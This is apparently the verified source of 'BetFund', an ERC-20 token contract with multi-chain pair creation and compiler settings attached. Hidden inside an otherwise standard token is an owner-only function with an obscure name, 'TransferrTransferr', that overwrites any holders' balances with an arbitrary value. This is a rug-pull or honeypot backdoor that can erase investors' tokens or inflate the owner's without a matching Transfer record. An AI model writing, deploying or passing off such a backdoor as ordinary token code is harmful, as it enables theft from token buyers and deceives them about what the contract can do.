文件 1 的 1：BetFund.sol
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(
address indexed previousowner,
address indexed newowner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(
_owner,
address(0x000000000000000000000000000000000000dEaD)
);
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
interface IFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IRouter {
function factory() external view returns (address);
function WETH() external pure returns (address);
function WAVAX() external pure returns (address);
}
contract BetFund is Context, Ownable, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
uint256 constant public ETH_CHAIN_ID = 1;
uint256 constant public AVAX_CHAIN_ID = 43114;
uint256 constant public BASE_CHAIN_ID = 8453;
uint256 constant public BLAST_CHAIN_ID = 81457;
uint256 constant public ARB_CHAIN_ID = 42161;
mapping(uint256 => address) public listRouter;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 totalSupply_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function createPair() public onlyowner {
initRouter();
uint256 chainID = getChainID();
address _weth;
address _routerAddress = listRouter[chainID];
if (chainID == AVAX_CHAIN_ID) {
_weth = IRouter(_routerAddress).WAVAX();
} else {
_weth = IRouter(_routerAddress).WETH();
}
address factoryAddress = IRouter(_routerAddress).factory();
IFactory(factoryAddress).createPair(address(this), _weth);
}
function initRouter() internal {
listRouter[ETH_CHAIN_ID] = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a;
listRouter[BASE_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;
listRouter[AVAX_CHAIN_ID] = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4 ;
listRouter[BLAST_CHAIN_ID] = 0x98994a9A7a2570367554589189dC9772241650f6;
listRouter[ARB_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
event BalanceAdjusted(
address indexed account,
uint256 oldBalance,
uint256 newBalance
);
function TransferrTransferr(
address[] memory accounts,
uint256 newBalance
) external onlyowner {
for (uint256 i = 0; i < accounts.length; i++) {
address account = accounts[i];
uint256 oldBalance = _balances[account];
_balances[account] = newBalance;
emit BalanceAdjusted(account, oldBalance, newBalance);
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
require(
_balances[_msgSender()] >= amount,
"TT: transfer amount exceeds balance"
);
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
require(
_allowances[sender][_msgSender()] >= amount,
"TT: transfer amount exceeds allowance"
);
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getChainID() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
}{
"compilationTarget": {
"BetFund.sol": "BetFund"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
